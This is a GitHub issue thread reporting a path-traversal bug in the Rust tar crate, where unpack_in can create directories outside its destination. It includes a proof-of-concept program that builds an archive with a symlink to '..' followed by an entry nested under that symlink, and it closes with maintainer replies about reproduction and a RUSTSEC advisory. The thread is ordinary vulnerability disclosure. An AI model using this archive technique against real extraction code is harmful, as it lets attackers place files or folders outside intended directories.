unpack_in allows creating directories outside the `dst` directory
mgjm opened this issue · 3 comments
The following code will create the folders exploit
and exploit/foo
outside of the demo
folder:
use std::{fs::File, io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
Entry::unpack_in
calls fs::create_dir_all
(src/entry.rs:406) on the untrusted path and therefore can create directories outside of the dst
directory.
Note: The provided code will fail with the expected error that symlink/exploit/foo/bar
is outside of demo
, but the parent directories are already created outside of the demo
folder.
This is kind of related to #129, but still works in the current master.
I'm having trouble reproducing this with tar v0.4.35:
Error: Custom { kind: Other, error: TarError { desc: "trying to unpack outside of destination path: /redacted/exploit/demo", io: Custom { kind: Other, error: "Invalid argument" } } }
Can this issue be closed?
Correction: The file isn't written but the folders are still created in the parent directory with the most recent version.
@alexcrichton we have a request to add a RUSTSEC advisory for this, FYI rustsec/advisory-db#965
Thanks for the heads up!